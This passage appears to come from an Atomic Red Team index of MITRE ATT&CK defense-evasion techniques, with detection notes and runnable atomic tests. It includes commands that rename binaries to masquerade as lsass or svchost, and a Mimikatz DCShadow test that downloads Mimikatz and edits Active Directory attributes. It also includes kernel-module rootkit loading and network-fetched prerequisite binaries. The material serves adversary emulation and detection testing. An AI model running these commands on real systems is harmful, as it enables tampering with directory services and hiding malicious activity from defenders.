        capable of abusing. (Citation: LOLBAS Main Site) It may be possible to bypass
        those security mechanisms by renaming the utility prior to utilization (ex:
        rename <code>rundll32.exe</code>). (Citation: Elastic Masquerade Ball) An
        alternative case occurs when a legitimate utility is copied or moved to a
        different directory and renamed to avoid detections based on system utilities
        executing from non-standard paths. (Citation: F-Secure CozyDuke)'
      id: attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-11-23T17:03:38.941Z'
      created: '2020-02-10T20:03:11.691Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: 'If file names are mismatched between the file name on disk
        and that of the binary''s PE metadata, this is a likely indicator that a binary
        was renamed after it was compiled. Collecting and comparing disk and resource
        filenames for binaries by looking to see if the InternalName, OriginalFilename,
        and/or ProductName match what is expected could provide useful leads, but
        may not always be indicative of malicious activity. (Citation: Elastic Masquerade
        Ball) Do not focus on the possible names a file could have, but instead on
        the command-line arguments that are known to be used and are distinct because
        it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading
        Update)'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Process: Process Metadata'
      - 'Command: Command Execution'
      - 'File: File Metadata'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1036.003
    atomic_tests:
    - name: Masquerading as Windows LSASS process
      auto_generated_guid: 5ba5a3d1-cf3c-4499-968a-a93155d1f717
      description: |
        Copies cmd.exe, renames it, and launches it to masquerade as an instance of lsass.exe.

        Upon execution, cmd will be launched by powershell. If using Invoke-AtomicTest, The test will hang until the 120 second timeout cancels the session
      supported_platforms:
      - windows
      executor:
        command: |
          copy %SystemRoot%\System32\cmd.exe %SystemRoot%\Temp\lsass.exe
          %SystemRoot%\Temp\lsass.exe /B
        cleanup_command: 'del /Q /F %SystemRoot%\Temp\lsass.exe >nul 2>&1

'
        name: command_prompt
    - name: Masquerading as Linux crond process.
      auto_generated_guid: a315bfff-7a98-403b-b442-2ea1b255e556
      description: |
        Copies sh process, renames it as crond, and executes it to masquerade as the cron daemon.

        Upon successful execution, sh is renamed to `crond` and executed.
      supported_platforms:
      - linux
      executor:
        command: |
          cp /bin/sh /tmp/crond;
          echo 'sleep 5' | /tmp/crond
        cleanup_command: 'rm /tmp/crond

'
        name: sh
    - name: Masquerading - cscript.exe running as notepad.exe
      auto_generated_guid: 3a2a578b-0a01-46e4-92e3-62e2859b42f0
      description: |
        Copies cscript.exe, renames it, and launches it to masquerade as an instance of notepad.exe.

        Upon successful execution, cscript.exe is renamed as notepad.exe and executed from non-standard path.
      supported_platforms:
      - windows
      executor:
        command: |
          copy %SystemRoot%\System32\cscript.exe %APPDATA%\notepad.exe /Y
          cmd.exe /c %APPDATA%\notepad.exe /B
        cleanup_command: 'del /Q /F %APPDATA%\notepad.exe >nul 2>&1

'
        name: command_prompt
    - name: Masquerading - wscript.exe running as svchost.exe
      auto_generated_guid: 24136435-c91a-4ede-9da1-8b284a1c1a23
      description: |
        Copies wscript.exe, renames it, and launches it to masquerade as an instance of svchost.exe.

        Upon execution, no windows will remain open but wscript will have been renamed to svchost and ran out of the temp folder
      supported_platforms:
      - windows
      executor:
        command: |
          copy %SystemRoot%\System32\wscript.exe %APPDATA%\svchost.exe /Y
          cmd.exe /c %APPDATA%\svchost.exe /B
        cleanup_command: 'del /Q /F %APPDATA%\svchost.exe >nul 2>&1

'
        name: command_prompt
    - name: Masquerading - powershell.exe running as taskhostw.exe
      auto_generated_guid: ac9d0fc3-8aa8-4ab5-b11f-682cd63b40aa
      description: |
        Copies powershell.exe, renames it, and launches it to masquerade as an instance of taskhostw.exe.

        Upon successful execution, powershell.exe is renamed as taskhostw.exe and executed from non-standard path.
      supported_platforms:
      - windows
      executor:
        command: |
          copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\taskhostw.exe /Y
          cmd.exe /K %APPDATA%\taskhostw.exe
        cleanup_command: 'del /Q /F %APPDATA%\taskhostw.exe >nul 2>&1

'
        name: command_prompt
    - name: Masquerading - non-windows exe running as windows exe
      auto_generated_guid: bc15c13f-d121-4b1f-8c7d-28d95854d086
      description: |
        Copies an exe, renames it as a windows exe, and launches it to masquerade as a real windows exe

        Upon successful execution, powershell will execute T1036.003.exe as svchost.exe from on a non-standard path.
      supported_platforms:
      - windows
      input_arguments:
        outputfile:
          description: path of file to execute
          type: Path
          default: ($env:TEMP + "\svchost.exe")
        inputfile:
          description: path of file to copy
          type: Path
          default: PathToAtomicsFolder\T1036.003\bin\T1036.003.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Exe file to copy must exist on disk at specified location (#{inputfile})

'
        prereq_command: 'if (Test-Path #{inputfile}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{inputfile}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036.003/bin/T1036.003.exe" -OutFile "#{inputfile}"
      executor:
        command: |
          copy #{inputfile} #{outputfile}
          $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id
          Stop-Process -ID $myT1036_003
        cleanup_command: 'Remove-Item #{outputfile} -Force -ErrorAction Ignore

'
        name: powershell
    - name: Masquerading - windows exe running as different windows exe
      auto_generated_guid: c3d24a39-2bfe-4c6a-b064-90cd73896cb0
      description: 'Copies a windows exe, renames it as another windows exe, and launches
        it to masquerade as second windows exe

'
      supported_platforms:
      - windows
      input_arguments:
        outputfile:
          description: path of file to execute
          type: Path
          default: ($env:TEMP + "\svchost.exe")
        inputfile:
          description: path of file to copy
          type: Path
          default: "$env:ComSpec"
      executor:
        command: |
          copy #{inputfile} #{outputfile}
          $myT1036_003 = (Start-Process -PassThru -FilePath #{outputfile}).Id
          Stop-Process -ID $myT1036_003
        cleanup_command: 'Remove-Item #{outputfile} -Force -ErrorAction Ignore

'
        name: powershell
    - name: Malicious process Masquerading as LSM.exe
      auto_generated_guid: 83810c46-f45e-4485-9ab6-8ed0e9e6ed7f
      description: |
        Detect LSM running from an incorrect directory and an incorrect service account
        This works by copying cmd.exe to a file, naming it lsm.exe, then copying a file to the C:\ folder.

        Upon successful execution, cmd.exe will be renamed as lsm.exe and executed from non-standard path.
      supported_platforms:
      - windows
      executor:
        command: |
          copy C:\Windows\System32\cmd.exe C:\lsm.exe
          C:\lsm.exe /c echo T1036.003 > C:\T1036.003.txt
        cleanup_command: |
          del C:\T1036.003.txt >nul 2>&1
          del C:\lsm.exe >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: File Extension Masquerading
      auto_generated_guid: c7fa0c3b-b57f-4cba-9118-863bf4e653fc
      description: |
        download and execute a file masquerading as images or Office files. Upon execution 3 calc instances and 3 vbs windows will be launched.

        e.g SOME_LEGIT_NAME.[doc,docx,xls,xlsx,pdf,rtf,png,jpg,etc.].[exe,vbs,js,ps1,etc] (Quartelyreport.docx.exe)
      supported_platforms:
      - windows
      input_arguments:
        exe_path:
          description: path to exe to use when creating masquerading files
          type: Path
          default: C:\Windows\System32\calc.exe
        vbs_path:
          description: path of vbs to use when creating masquerading files
          type: Path
          default: PathToAtomicsFolder\T1036.003\src\T1036.003_masquerading.vbs
        ps1_path:
          description: path of powershell script to use when creating masquerading
            files
          type: Path
          default: PathToAtomicsFolder\T1036.003\src\T1036.003_masquerading.ps1
      executor:
        command: |
          copy #{exe_path} %temp%\T1036.003_masquerading.docx.exe /Y
          copy #{exe_path} %temp%\T1036.003_masquerading.pdf.exe /Y
          copy #{exe_path} %temp%\T1036.003_masquerading.ps1.exe /Y
          copy #{vbs_path} %temp%\T1036.003_masquerading.xls.vbs /Y
          copy #{vbs_path} %temp%\T1036.003_masquerading.xlsx.vbs /Y
          copy #{vbs_path} %temp%\T1036.003_masquerading.png.vbs /Y
          copy #{ps1_path} %temp%\T1036.003_masquerading.doc.ps1 /Y
          copy #{ps1_path} %temp%\T1036.003_masquerading.pdf.ps1 /Y
          copy #{ps1_path} %temp%\T1036.003_masquerading.rtf.ps1 /Y
          %temp%\T1036.003_masquerading.docx.exe
          %temp%\T1036.003_masquerading.pdf.exe
          %temp%\T1036.003_masquerading.ps1.exe
          %temp%\T1036.003_masquerading.xls.vbs
          %temp%\T1036.003_masquerading.xlsx.vbs
          %temp%\T1036.003_masquerading.png.vbs
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -File %temp%\T1036.003_masquerading.doc.ps1
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -File %temp%\T1036.003_masquerading.pdf.ps1
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -File %temp%\T1036.003_masquerading.rtf.ps1
        cleanup_command: |
          del /f %temp%\T1036.003_masquerading.docx.exe > nul 2>&1
          del /f %temp%\T1036.003_masquerading.pdf.exe > nul 2>&1
          del /f %temp%\T1036.003_masquerading.ps1.exe > nul 2>&1
          del /f %temp%\T1036.003_masquerading.xls.vbs > nul 2>&1
          del /f %temp%\T1036.003_masquerading.xlsx.vbs > nul 2>&1
          del /f %temp%\T1036.003_masquerading.png.vbs > nul 2>&1
          del /f %temp%\T1036.003_masquerading.doc.ps1 > nul 2>&1
          del /f %temp%\T1036.003_masquerading.pdf.ps1 > nul 2>&1
          del /f %temp%\T1036.003_masquerading.rtf.ps1 > nul 2>&1
        name: command_prompt
  T1578.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1578.004
        url: https://attack.mitre.org/techniques/T1578/004
      - source_name: Tech Republic - Restore AWS Snapshots
        url: https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/
        description: Hardiman, N.. (2012, March 20). Backing up and restoring snapshots
          on Amazon EC2 machines. Retrieved October 8, 2019.
      - source_name: Google - Restore Cloud Snapshot
        url: https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots
        description: Google. (2019, October 7). Restoring and deleting persistent
          disk snapshots. Retrieved October 8, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Revert Cloud Instance
      description: |-
        An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.

        Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)
      id: attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-03-08T10:33:02.128Z'
      created: '2020-06-16T18:42:20.734Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Establish centralized logging of instance activity, which
        can be used to monitor and review system events even after reverting to a
        snapshot, rolling back changes, or changing persistence/type of storage. Monitor
        specifically for events related to snapshots and rollbacks and VM configuration
        changes, that are occurring outside of normal activity. To reduce false positives,
        valid change management procedures could introduce a known identifier that
        is logged with the change (e.g., tag or header) if supported by the cloud
        provider, to help distinguish valid, expected actions from malicious ones.
      x_mitre_data_sources:
      - 'Instance: Instance Modification'
      - 'Instance: Instance Start'
      - 'Instance: Instance Stop'
      x_mitre_contributors:
      - Netskope
      x_mitre_platforms:
      - IaaS
    atomic_tests: []
  T1036.002:
    technique:
      created: '2020-02-10T19:55:29.385Z'
      modified: '2020-03-29T20:16:36.316Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69
      description: |-
        Adversaries may use the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver executable named <code>March 25 \u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.

        A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.
      name: Right-to-Left Override
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1036.002
        url: https://attack.mitre.org/techniques/T1036/002
      - source_name: Infosecinstitute RTLO Technique
        url: https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/
        description: Security Ninja. (2015, April 16). Spoof Using Right to Left Override
          (RTLO) Technique. Retrieved April 22, 2019.
      - source_name: Trend Micro PLEAD RTLO
        url: https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/
        description: Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against
          Taiwanese Government Agencies. Retrieved April 22, 2019.
      - source_name: Kaspersky RTLO Cyber Crime
        url: https://securelist.com/zero-day-vulnerability-in-telegram/83800/
        description: Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram
          - Cybercriminals exploited Telegram flaw to launch multipurpose attacks.
          Retrieved April 22, 2019.
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'File: File Metadata'
      x_mitre_detection: Detection methods should include looking for common formats
        of RTLO characters within filenames such as <code>\u202E</code>, <code>[U+202E]</code>,
        and <code>%E2%80%AE</code>. Defenders should also check their analysis tools
        to ensure they do not interpret the RTLO character and instead print the true
        name of the file containing it.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1207:
    technique:
      id: attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Rogue Domain Controller
      description: |-
        Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.

        Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)

        This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)
      external_references:
      - source_name: mitre-attack
        external_id: T1207
        url: https://attack.mitre.org/techniques/T1207
      - url: https://www.dcshadow.com/
        description: Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20,
          2018.
        source_name: DCShadow Blog
      - url: https://adsecurity.org/?page_id=1821
        description: Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz
          & Command Reference. Retrieved December 23, 2015.
        source_name: Adsecurity Mimikatz Guide
      - url: https://github.com/shellster/DCSYNCMonitor
        description: Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March
          30, 2018.
        source_name: GitHub DCSYNCMonitor
      - url: https://msdn.microsoft.com/en-us/library/ms677626.aspx
        description: Microsoft. (n.d.). Polling for Changes Using the DirSync Control.
          Retrieved March 30, 2018.
        source_name: Microsoft DirSync
      - url: https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html
        description: Lucand,G. (2018, February 18). Detect DCShadow, impossible?.
          Retrieved March 30, 2018.
        source_name: ADDSecurity DCShadow Feb 2018
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-02-09T15:13:27.670Z'
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: |-
        Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)

        Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)

        Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)

        Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.
      x_mitre_defense_bypassed:
      - Log analysis
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Creation'
      - 'Active Directory: Active Directory Object Modification'
      - 'Network Traffic: Network Traffic Content'
      - 'User Account: User Account Authentication'
      x_mitre_contributors:
      - Vincent Le Toux
      x_mitre_version: '2.0'
      identifier: T1207
    atomic_tests:
    - name: DCShadow (Active Directory)
      auto_generated_guid: 0f4c5eb0-98a0-4496-9c3d-656b4f2bc8f6
      description: |
        Use Mimikatz DCShadow method to simulate behavior of an Active Directory Domain Controller and edit protected attribute.

        [DCShadow](https://www.dcshadow.com/)
        [Additional Reference](http://www.labofapenetrationtester.com/2018/04/dcshadow.html)

        It will set the badPwdCount attribute of the target user (user/machine account) to 9999. You can check after with:
        Get-ADObject -LDAPFilter '(samaccountname=<user>)' -Properties badpwdcount | select-object -ExpandProperty badpwdcount

        Need SYSTEM privileges locally (automatically obtained via PsExec, so running as admin is sufficient), and Domain Admin remotely.
        The easiest is to run elevated and as a Domain Admin user.
      supported_platforms:
      - windows
      input_arguments:
        object:
          description: Targeted object (for machine account do not forget to add final
            '$')
          type: String
          default: bruce.wayne
        attribute:
          description: 'Object attribute to edit, interesting ones: badpwdcount, primaryGroupId,
            SIDHistory...'
          type: String
          default: badpwdcount
        value:
          description: Value to assign to object attribute
          type: String
          default: '9999'
        mimikatz_path:
          description: Mimikatz windows executable
          type: Path
          default: "$env:TEMP\\mimikatz\\x64\\mimikatz.exe"
        psexec_path:
          description: Path to PsExec
          type: Path
          default: C:\PSTools\PsExec.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz executor must exist on disk and at specified location
          (#{mimikatz_path})

'
        prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
        get_prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          $mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href
          Invoke-WebRequest "https://github.com$mimikatz_relative_uri" -UseBasicParsing -OutFile "$env:TEMP\mimikatz.zip"
          Expand-Archive $env:TEMP\mimikatz.zip $env:TEMP\mimikatz -Force
          New-Item -ItemType Directory (Split-Path $mimikatz_path) -Force | Out-Null
          Move-Item $env:TEMP\mimikatz\x64\mimikatz.exe $mimikatz_path -Force
      - description: 'PsExec tool from Sysinternals must exist on disk at specified
          location (#{psexec_path})

'
        prereq_command: 'if (Test-Path "#{psexec_path}") { exit 0} else { exit 1}

'
        get_prereq_command: |
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip"
          Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force
          New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null
          Copy-Item $env:TEMP\PsTools\PsExec.exe "#{psexec_path}" -Force
      executor:
        name: powershell
        elevation_required: true
        command: |
          # starting fake DC server, as SYSTEM (required)
          $dc_output_file = "$env:TEMP\art-T1207-mimikatz-DC.log"
          Remove-Item $dc_output_file -ErrorAction Ignore
          $mimikatzParam ="`"log $dc_output_file`" `"lsadump::dcshadow /object:#{object} /attribute:#{attribute} /value:#{value}`" `"exit`""
          $dc = Start-Process -FilePath cmd.exe -Verb Runas -ArgumentList "/c #{psexec_path} /accepteula -d -s #{mimikatz_path} $mimikatzParam"

          # wait for fake DC server to be ready...
          Start-Sleep -Seconds 5

          # server ready, so trigger replication (push) and wait until it finished
          & #{mimikatz_path} "lsadump::dcshadow /push" "exit"

          Write-Host "`nWaiting for fake DC server to return"
          Wait-Process $dc

          Write-Host "`nOutput from fake DC server:"
          Get-Content $dc_output_file
          Start-Sleep 1 # wait a little until the file is not locked anymore so we can actually delete it
          Remove-Item $dc_output_file -ErrorAction Ignore

          Write-Host "End of DCShadow"
        cleanup_command: 'Stop-Process -Name "mimikatz" -Force -ErrorAction Ignore

'
  T1014:
    technique:
      id: attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Rootkit
      description: "Adversaries may use rootkits to hide the presence of programs,
        files, network connections, services, drivers, and other system components.
        Rootkits are programs that hide the existence of malware by intercepting/hooking
        and modifying operating system API calls that supply system information. (Citation:
        Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality
        may reside at the user or kernel level in the operating system or lower, to
        include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001).
        (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux,
        and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat
        Mac OSX Rootkit)"
      external_references:
      - source_name: mitre-attack
        external_id: T1014
        url: https://attack.mitre.org/techniques/T1014
      - external_id: CAPEC-552
        source_name: capec
        url: https://capec.mitre.org/data/definitions/552.html
      - url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf
        description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December
          21, 2017.
        source_name: Symantec Windows Rootkits
      - url: https://en.wikipedia.org/wiki/Rootkit
        description: Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.
        source_name: Wikipedia Rootkit
      - url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
        description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit.
          Retrieved December 21, 2017.
        source_name: CrowdStrike Linux Rootkit
      - url: http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf
        description: 'Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit
          uses the tricks you haven''t known yet. Retrieved December 21, 2017.'
        source_name: BlackHat Mac OSX Rootkit
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-06-20T22:29:55.496Z'
      created: '2017-05-31T21:30:26.496Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - root
      x_mitre_detection: 'Some rootkit protections may be built into anti-virus or
        operating system software. There are dedicated rootkit detection tools that
        look for specific types of rootkit behavior. Monitor for the existence of
        unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia
        Rootkit)'
      x_mitre_defense_bypassed:
      - File monitoring
      - Host intrusion prevention systems
      - Application control
      - Signature-based detection
      - System access controls
      - Application control by file name or path
      - Anti-virus
      x_mitre_data_sources:
      - 'Drive: Drive Modification'
      - 'Firmware: Firmware Modification'
      x_mitre_version: '1.1'
      identifier: T1014
    atomic_tests:
    - name: Loadable Kernel Module based Rootkit
      auto_generated_guid: dfb50072-e45a-4c75-a17e-a484809c8553
      description: 'Loadable Kernel Module based Rootkit

'
      supported_platforms:
      - linux
      input_arguments:
        rootkit_source_path:
          description: Path to the rootkit source. Used when prerequistes are fetched.
          type: Path
          default: PathToAtomicsFolder/T1014/src/Linux
        rootkit_path:
          description: Path To rootkit
          type: String
          default: PathToAtomicsFolder/T1014/bin/T1014.ko
        rootkit_name:
          description: Module name
          type: String
          default: T1014
        temp_folder:
          description: Temp folder used to compile the code. Used when prerequistes
            are fetched.
          type: Path
          default: "/tmp/T1014"
      dependency_executor_name: bash
      dependencies:
      - description: 'The kernel module must exist on disk at specified location (#{rootkit_path})

'
        prereq_command: 'if [ -f #{rootkit_path} ]; then exit 0; else exit 1; fi;

'
        get_prereq_command: |
          if [ ! -d #{temp_folder} ]; then mkdir #{temp_folder}; touch #{temp_folder}/safe_to_delete; fi;
          cp #{rootkit_source_path}/* #{temp_folder}/
          cd #{temp_folder}; make
          mv #{temp_folder}/#{rootkit_name}.ko #{rootkit_path}
          [ -f #{temp_folder}/safe_to_delete ] && rm -rf #{temp_folder}
      executor:
        command: 'sudo insmod #{rootkit_path}

'
        cleanup_command: 'sudo rmmod #{rootkit_name}

'
        name: sh
        elevation_required: true
    - name: Loadable Kernel Module based Rootkit
      auto_generated_guid: 75483ef8-f10f-444a-bf02-62eb0e48db6f
      description: 'Loadable Kernel Module based Rootkit

'
      supported_platforms:
      - linux
      input_arguments:
        rootkit_source_path:
          description: Path to the rootkit source. Used when prerequistes are fetched.
          type: Path
          default: PathToAtomicsFolder/T1014/src/Linux
        rootkit_path:
          description: Path To rootkit
          type: String
          default: PathToAtomicsFolder/T1014/bin/T1014.ko
        rootkit_name:
          description: Module name
          type: String
          default: T1014
        temp_folder:
          description: Temp folder used to compile the code. Used when prerequistes
            are fetched.
          type: Path
          default: "/tmp/T1014"
      dependency_executor_name: bash
      dependencies:
      - description: 'The kernel module must exist on disk at specified location (#{rootkit_path})

'
        prereq_command: 'if [ -f /lib/modules/$(uname -r)/#{rootkit_name}.ko ]; then
          exit 0; else exit 1; fi;

'
        get_prereq_command: "if [ ! -d #{temp_folder} ]; then mkdir #{temp_folder};
          touch #{temp_folder}/safe_to_delete; fi;\ncp #{rootkit_source_path}/* #{temp_folder}/\ncd
          #{temp_folder}; make        \nsudo cp #{temp_folder}/#{rootkit_name}.ko
          /lib/modules/$(uname -r)/\n[ -f #{temp_folder}/safe_to_delete ] && rm -rf
          #{temp_folder}\nsudo depmod -a\n"
      executor:
        command: 'sudo modprobe #{rootkit_name}

'
        cleanup_command: |
          sudo modprobe -r #{rootkit_name}
          sudo rm /lib/modules/$(uname -r)/#{rootkit_name}.ko
          sudo depmod -a
        name: sh
        elevation_required: true
  T1564.006:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1564.006
        url: https://attack.mitre.org/techniques/T1564/006
      - source_name: SingHealth Breach Jan 2019
        url: https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx
        description: Committee of Inquiry into the Cyber Attack on SingHealth. (2019,
          January 10). Public Report of the Committee of Inquiry into the Cyber Attack
          on Singapore Health Services Private Limited's Patient Database. Retrieved
          June 29, 2020.
      - source_name: Sophos Ragnar May 2020
        url: https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
        description: SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys
          virtual machine to dodge security. Retrieved June 29, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Run Virtual Instance
      description: |-
        Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)

        Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)
